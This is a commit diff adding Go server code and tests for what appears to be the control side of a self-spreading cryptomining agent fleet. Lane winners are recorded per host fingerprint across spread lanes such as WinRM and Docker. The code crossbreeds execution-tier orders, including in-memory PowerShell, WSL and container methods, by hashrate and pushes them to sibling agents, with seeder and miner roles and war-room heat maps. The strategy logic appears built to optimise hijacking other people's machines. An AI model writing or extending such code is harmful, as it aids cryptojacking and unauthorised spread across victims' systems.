Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
319
server/internal/strategy/breeding.go
Normal file
319
server/internal/strategy/breeding.go
Normal file
@@ -0,0 +1,319 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Auth tier-plan precedence (highest wins on agent connect):
|
||||
// 1. inherited phenotype — direct fleet winner from SQLite fleet_phenotypes
|
||||
// 2. genetic breed — crossover of two lane-specific winners for the same fingerprint
|
||||
// 3. adaptive strategy — per-host scored tier order from AdaptiveEngine
|
||||
|
||||
// LaneWinner is a spread/join-lane-specific winning path within a fingerprint bucket.
|
||||
type LaneWinner struct {
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BredPhenotype is a genetically crossbred tier order from two lane-winning parents.
|
||||
type BredPhenotype struct {
|
||||
Fingerprint string
|
||||
TierOrder []string
|
||||
ParentLanes []string
|
||||
SpreadLane string
|
||||
PeakHashrate float64
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// LaneWinnerInput is the publish payload for one lane-specific winner.
|
||||
type LaneWinnerInput struct {
|
||||
Fingerprint string
|
||||
SpreadLane string
|
||||
TierOrder []string
|
||||
ActiveTier string
|
||||
PeakHashrate float64
|
||||
FailedTiers map[string]bool
|
||||
SourceAgentName string
|
||||
}
|
||||
|
||||
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
|
||||
type BreedingRegistry struct {
|
||||
mu sync.RWMutex
|
||||
lanes map[string]map[string]LaneWinner
|
||||
bred map[string]BredPhenotype
|
||||
}
|
||||
|
||||
func NewBreedingRegistry() *BreedingRegistry {
|
||||
return &BreedingRegistry{
|
||||
lanes: make(map[string]map[string]LaneWinner),
|
||||
bred: make(map[string]BredPhenotype),
|
||||
}
|
||||
}
|
||||
|
||||
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
|
||||
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
|
||||
fp := strings.TrimSpace(in.Fingerprint)
|
||||
lane := strings.TrimSpace(in.SpreadLane)
|
||||
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
winner := LaneWinner{
|
||||
SpreadLane: lane,
|
||||
TierOrder: append([]string(nil), in.TierOrder...),
|
||||
ActiveTier: strings.TrimSpace(in.ActiveTier),
|
||||
PeakHashrate: in.PeakHashrate,
|
||||
FailedTiers: cloneFailedSet(in.FailedTiers),
|
||||
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.lanes[fp] == nil {
|
||||
r.lanes[fp] = make(map[string]LaneWinner)
|
||||
}
|
||||
r.lanes[fp][lane] = winner
|
||||
if len(r.lanes[fp]) < 2 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
bred := breedLaneWinners(fp, r.lanes[fp])
|
||||
if len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
r.bred[fp] = bred
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// GetBred returns the latest crossbred phenotype for a fingerprint bucket.
|
||||
func (r *BreedingRegistry) GetBred(fingerprint string) (BredPhenotype, bool) {
|
||||
if r == nil {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
bred, ok := r.bred[fp]
|
||||
if !ok || len(bred.TierOrder) == 0 {
|
||||
return BredPhenotype{}, false
|
||||
}
|
||||
return bred, true
|
||||
}
|
||||
|
||||
// LaneCount returns how many distinct spread lanes are recorded for a fingerprint.
|
||||
func (r *BreedingRegistry) LaneCount(fingerprint string) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
fp := strings.TrimSpace(fingerprint)
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return len(r.lanes[fp])
|
||||
}
|
||||
|
||||
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
|
||||
parents := make([]LaneWinner, 0, len(lanes))
|
||||
for _, w := range lanes {
|
||||
parents = append(parents, w)
|
||||
}
|
||||
sort.Slice(parents, func(i, j int) bool {
|
||||
if parents[i].PeakHashrate == parents[j].PeakHashrate {
|
||||
return parents[i].SpreadLane < parents[j].SpreadLane
|
||||
}
|
||||
return parents[i].PeakHashrate > parents[j].PeakHashrate
|
||||
})
|
||||
if len(parents) < 2 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
a, b := parents[0], parents[1]
|
||||
order := CrossbreedTierOrders(a.TierOrder, b.TierOrder, a.FailedTiers, b.FailedTiers)
|
||||
if len(order) == 0 {
|
||||
return BredPhenotype{}
|
||||
}
|
||||
peak := a.PeakHashrate
|
||||
if b.PeakHashrate > peak {
|
||||
peak = b.PeakHashrate
|
||||
}
|
||||
return BredPhenotype{
|
||||
Fingerprint: fingerprint,
|
||||
TierOrder: order,
|
||||
ParentLanes: []string{a.SpreadLane, b.SpreadLane},
|
||||
SpreadLane: a.SpreadLane,
|
||||
PeakHashrate: peak,
|
||||
SourceAgentName: geneticBreedSourceName(a.SourceAgentName, b.SourceAgentName),
|
||||
}
|
||||
}
|
||||
|
||||
func geneticBreedSourceName(a, b string) string {
|
||||
if a != "" && b != "" && a != b {
|
||||
return "genetic_breed:" + a + "+" + b
|
||||
}
|
||||
if a != "" {
|
||||
return "genetic_breed:" + a
|
||||
}
|
||||
if b != "" {
|
||||
return "genetic_breed:" + b
|
||||
}
|
||||
return "genetic_breed"
|
||||
}
|
||||
|
||||
// CrossbreedTierOrders splices two parent tier orders at a crossover point, then
|
||||
// mutates tiers that failed on either parent by swapping in viable alternatives.
|
||||
func CrossbreedTierOrders(parentA, parentB []string, failedA, failedB map[string]bool) []string {
|
||||
a := normalizeTierList(parentA)
|
||||
b := normalizeTierList(parentB)
|
||||
if len(a) == 0 {
|
||||
return append([]string(nil), b...)
|
||||
}
|
||||
if len(b) == 0 {
|
||||
return append([]string(nil), a...)
|
||||
}
|
||||
|
||||
crossover := len(a) / 2
|
||||
if crossover == 0 {
|
||||
crossover = 1
|
||||
}
|
||||
child := append([]string(nil), a[:crossover]...)
|
||||
seen := make(map[string]bool, len(a)+len(b))
|
||||
for _, tier := range child {
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range b {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, tier := range a[crossover:] {
|
||||
if seen[tier] {
|
||||
continue
|
||||
}
|
||||
child = append(child, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
|
||||
failed := unionFailedSets(failedA, failedB)
|
||||
if len(failed) == 0 {
|
||||
return child
|
||||
}
|
||||
return mutateFailedTiers(child, a, b, failed)
|
||||
}
|
||||
|
||||
func mutateFailedTiers(child, parentA, parentB []string, failed map[string]bool) []string {
|
||||
replacements := make([]string, 0, len(parentA)+len(parentB))
|
||||
seen := make(map[string]bool)
|
||||
for _, list := range [][]string{parentA, parentB} {
|
||||
for _, tier := range list {
|
||||
if failed[tier] || seen[tier] {
|
||||
continue
|
||||
}
|
||||
replacements = append(replacements, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(child))
|
||||
used := make(map[string]bool, len(child))
|
||||
repIdx := 0
|
||||
for _, tier := range child {
|
||||
if !failed[tier] {
|
||||
if !used[tier] {
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
continue
|
||||
}
|
||||
for repIdx < len(replacements) {
|
||||
candidate := replacements[repIdx]
|
||||
repIdx++
|
||||
if used[candidate] {
|
||||
continue
|
||||
}
|
||||
out = append(out, candidate)
|
||||
used[candidate] = true
|
||||
break
|
||||
}
|
||||
}
|
||||
for _, tier := range child {
|
||||
if failed[tier] || used[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
used[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// FailedTierSet builds a set of tiers that failed in attempt telemetry.
|
||||
func FailedTierSet(attempts []TierAttempt) map[string]bool {
|
||||
out := make(map[string]bool)
|
||||
for _, a := range attempts {
|
||||
tier := strings.TrimSpace(a.Tier)
|
||||
if tier == "" || a.OK {
|
||||
continue
|
||||
}
|
||||
out[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeTierList(order []string) []string {
|
||||
out := make([]string, 0, len(order))
|
||||
seen := make(map[string]bool, len(order))
|
||||
for _, tier := range order {
|
||||
tier = strings.TrimSpace(tier)
|
||||
if tier == "" || seen[tier] {
|
||||
continue
|
||||
}
|
||||
out = append(out, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func cloneFailedSet(in map[string]bool) map[string]bool {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(in))
|
||||
for k, v := range in {
|
||||
if v {
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func unionFailedSets(a, b map[string]bool) map[string]bool {
|
||||
if len(a) == 0 && len(b) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := cloneFailedSet(a)
|
||||
for k, v := range b {
|
||||
if v {
|
||||
if out == nil {
|
||||
out = make(map[string]bool)
|
||||
}
|
||||
out[k] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ToInherited converts a bred phenotype into an auth payload for sibling agents.
|
||||
func (b BredPhenotype) ToInherited() InheritedPhenotype {
|
||||
return InheritedPhenotype{
|
||||
SourceAgentName: b.SourceAgentName,
|
||||
Fingerprint: b.Fingerprint,
|
||||
SpreadLane: b.SpreadLane,
|
||||
TierOrder: append([]string(nil), b.TierOrder...),
|
||||
PeakHashrate: b.PeakHashrate,
|
||||
GeneticBreed: true,
|
||||
ParentLanes: append([]string(nil), b.ParentLanes...),
|
||||
}
|
||||
}
|
||||
116
server/internal/strategy/breeding_test.go
Normal file
116
server/internal/strategy/breeding_test.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCrossbreedTierOrdersMergesParents(t *testing.T) {
|
||||
order := CrossbreedTierOrders(
|
||||
[]string{"container", "wsl", "cpu_inprocess"},
|
||||
[]string{"wsl", "ps_inmemory", "stratum_direct"},
|
||||
nil, nil,
|
||||
)
|
||||
if len(order) < 4 {
|
||||
t.Fatalf("order too short: %v", order)
|
||||
}
|
||||
if order[0] != "container" {
|
||||
t.Fatalf("expected crossover head from parent A, got %v", order)
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
for _, tier := range order {
|
||||
if seen[tier] {
|
||||
t.Fatalf("duplicate tier %q in %v", tier, order)
|
||||
}
|
||||
seen[tier] = true
|
||||
}
|
||||
for _, want := range []string{"container", "wsl", "cpu_inprocess", "ps_inmemory", "stratum_direct"} {
|
||||
if !seen[want] {
|
||||
t.Fatalf("missing tier %q in %v", want, order)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrossbreedMutatesFailedTiers(t *testing.T) {
|
||||
order := CrossbreedTierOrders(
|
||||
[]string{"docker", "wsl", "cpu_inprocess"},
|
||||
[]string{"container", "ps_inmemory", "cpu_inprocess"},
|
||||
map[string]bool{"docker": true},
|
||||
map[string]bool{"ps_inmemory": true},
|
||||
)
|
||||
if len(order) == 0 {
|
||||
t.Fatal("empty bred order")
|
||||
}
|
||||
if order[0] == "docker" {
|
||||
t.Fatalf("failed tier docker should be mutated away, got %v", order)
|
||||
}
|
||||
joined := strings.Join(order, ",")
|
||||
if strings.Contains(joined, "ps_inmemory") {
|
||||
t.Fatalf("failed tier ps_inmemory should be mutated away, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBreedingRegistryRequiresDistinctLanes(t *testing.T) {
|
||||
reg := NewBreedingRegistry()
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
_, bred := reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm",
|
||||
TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
|
||||
})
|
||||
if bred {
|
||||
t.Fatal("single lane should not breed")
|
||||
}
|
||||
if reg.LaneCount(fp) != 1 {
|
||||
t.Fatalf("lane count = %d", reg.LaneCount(fp))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBreedingRegistryCrossbreedsDistinctLanes(t *testing.T) {
|
||||
reg := NewBreedingRegistry()
|
||||
fp := "windows|0|0|0|0|0|127.0.0"
|
||||
reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "winrm", SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"container", "wsl", "cpu_inprocess"}, PeakHashrate: 900,
|
||||
FailedTiers: map[string]bool{"docker": true},
|
||||
})
|
||||
bred, ok := reg.RecordLaneWinner(LaneWinnerInput{
|
||||
Fingerprint: fp, SpreadLane: "docker", SourceAgentName: "worker-12",
|
||||
TierOrder: []string{"wsl", "container", "ps_inmemory"}, PeakHashrate: 700,
|
||||
FailedTiers: map[string]bool{"exe_subprocess": true},
|
||||
})
|
||||
if !ok {
|
||||
t.Fatal("expected breed after second lane")
|
||||
}
|
||||
if len(bred.ParentLanes) != 2 || bred.ParentLanes[0] != "winrm" || bred.ParentLanes[1] != "docker" {
|
||||
t.Fatalf("parent lanes = %v", bred.ParentLanes)
|
||||
}
|
||||
if len(bred.TierOrder) == 0 {
|
||||
t.Fatal("empty bred tier order")
|
||||
}
|
||||
|
||||
got, ok := reg.GetBred(fp)
|
||||
if !ok {
|
||||
t.Fatal("GetBred missed bred phenotype")
|
||||
}
|
||||
if len(got.TierOrder) != len(bred.TierOrder) {
|
||||
t.Fatalf("stored bred = %v", got.TierOrder)
|
||||
}
|
||||
inh := got.ToInherited()
|
||||
if !inh.GeneticBreed {
|
||||
t.Fatal("expected genetic_breed flag")
|
||||
}
|
||||
if inh.SourceAgentName != "genetic_breed:worker-07+worker-12" {
|
||||
t.Fatalf("source = %q", inh.SourceAgentName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFailedTierSetFromAttempts(t *testing.T) {
|
||||
failed := FailedTierSet([]TierAttempt{
|
||||
{Tier: "docker", OK: false},
|
||||
{Tier: "wsl", OK: true},
|
||||
{Tier: "exe_subprocess", OK: false},
|
||||
})
|
||||
if !failed["docker"] || !failed["exe_subprocess"] || failed["wsl"] {
|
||||
t.Fatalf("unexpected failed set: %v", failed)
|
||||
}
|
||||
}
|
||||
34
server/internal/strategy/fleet_role.go
Normal file
34
server/internal/strategy/fleet_role.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package strategy
|
||||
|
||||
import "math"
|
||||
|
||||
// NormalizeFleetRole coerces miner|seeder|auto to a runtime role label.
|
||||
func NormalizeFleetRole(role string) string {
|
||||
switch role {
|
||||
case "seeder", "miner":
|
||||
return role
|
||||
default:
|
||||
return "auto"
|
||||
}
|
||||
}
|
||||
|
||||
// EmberwakeHeat returns 0–1 intensity for war-room heat maps from fleet role pressure fields.
|
||||
func EmberwakeHeat(fleetRole string, seedPressure, hashratePressure float64) float64 {
|
||||
if fleetRole == "seeder" {
|
||||
return clamp01(seedPressure)
|
||||
}
|
||||
if hashratePressure > 0 {
|
||||
return clamp01(hashratePressure)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func clamp01(v float64) float64 {
|
||||
if v < 0 {
|
||||
return 0
|
||||
}
|
||||
if v > 1 {
|
||||
return 1
|
||||
}
|
||||
return math.Round(v*1000) / 1000
|
||||
}
|
||||
21
server/internal/strategy/fleet_role_test.go
Normal file
21
server/internal/strategy/fleet_role_test.go
Normal file
@@ -0,0 +1,21 @@
|
||||
package strategy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestEmberwakeHeatSeederUsesSeedPressure(t *testing.T) {
|
||||
if h := EmberwakeHeat("seeder", 0.8, 0); h != 0.8 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmberwakeHeatMinerUsesHashratePressure(t *testing.T) {
|
||||
if h := EmberwakeHeat("miner", 0, 0.55); h != 0.55 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmberwakeHeatClamps(t *testing.T) {
|
||||
if h := EmberwakeHeat("miner", 0, 2); h != 1 {
|
||||
t.Fatalf("heat=%v", h)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user